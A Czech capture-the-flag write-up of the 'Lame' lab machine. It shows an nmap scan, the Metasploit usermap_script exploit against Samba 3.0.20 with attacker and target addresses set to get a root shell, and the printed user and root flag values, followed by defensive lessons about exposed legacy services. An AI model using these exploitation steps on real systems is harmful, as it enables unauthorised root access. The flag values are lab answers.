Lame
Úvod a kontext
Lame je starý linuxový stroj, na kterém je hned několik zastaralých služeb najednou: vsftpd 2.3.4, Samba 3.0.20 a distccd. To z něj dělá dobrý příklad situace, kdy je potřeba nezůstat u prvního zranitelného banneru, ale zvolit cestu, která vede k nejrychlejšímu a nejčistšímu výsledku.
V tomhle případě vyhrává Samba. Zranitelnost usermap_script dovolí spustit příkaz přímo v kontextu roota, takže odpadá samostatná privilege escalation fáze. User i root flag se tak čtou ze stejné session.
Počáteční průzkum
Zastaralé služby na jednom hostu
nmap na Lame ukáže hned několik kandidátů na exploit. To je přesně moment, kdy je potřeba rozhodnout se pragmaticky: nezkoušet všechno, ale vybrat službu s nejspolehlivější cestou k shellu.
IP=10.10.10.3;ports=$(nmap -p- --min-rate=1000 -T3 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v -Pn $IP
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open distccd distccd v1 ((GNU) 4.2.4)
Analýza zjištění
Proč padla volba na Samba 3.0.20
Na hostu jsou vidět i jiné historicky problematické služby, ale Samba 3.0.20 je z pohledu útočníka nejzajímavější, protože na ni existuje dobře známý exploit usermap_script. Ten nevede jen k omezenému footholdu, ale rovnou k příkazům jako root.
searchsploit Samba 3.0.20
Získání přístupu
Exploit usermap_script
Praktická cesta je tady velmi krátká. Metasploit modul exploit/multi/samba/usermap_script po správném nastavení otevře shell přímo nad cílovým strojem. Protože exploit běží v privilegovaném kontextu Samby, není potřeba žádné další obcházení práv.
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST 10.10.14.17
run
Eskalace oprávnění
Není potřeba další krok
Na Lame ve skutečnosti nevzniká samostatná root fáze. Shell z exploitu už běží s dostatečnými právy, takže stačí přečíst oba soubory s flagy.
cat /home/makis/user.txt
69454a937d94f5f0225ea00acd2e84c5
cat /root/root.txt
92caac3be140ef409e45721348a4e9df
Shrnutí klíčových poznatků
- Lame je učebnicový příklad toho, jak vypadá stroj s více zastaralými službami najednou.
- Rozhodující bylo zvolit správný cíl: Samba vedla rychleji a přímočařeji než ostatní otevřené služby.
- Protože exploit vrací rovnou privilegovaný shell, je dobře vidět plný dopad podobně staré síťové chyby.
Co si odnést do praxe
- Staré služby typu
Samba 3.0.20nebovsftpd 2.3.4nesmějí zůstávat vystavené jen proto, že „dosud fungují“. U takto známých verzí už nejde o hypotetické riziko, ale o veřejně dostupný okamžitý exploit. - Při obraně je důležité sledovat i kombinaci více zastaralých komponent na jednom hostu. Lame ukazuje, že útočník si prostě vybere tu nejlevnější cestu.
- Síťové služby běžící s vysokými právy zvedají dopad zranitelnosti na maximum. Jakmile exploit vrací shell rovnou jako root, už neexistuje druhá obranná linie v podobě lokálních práv.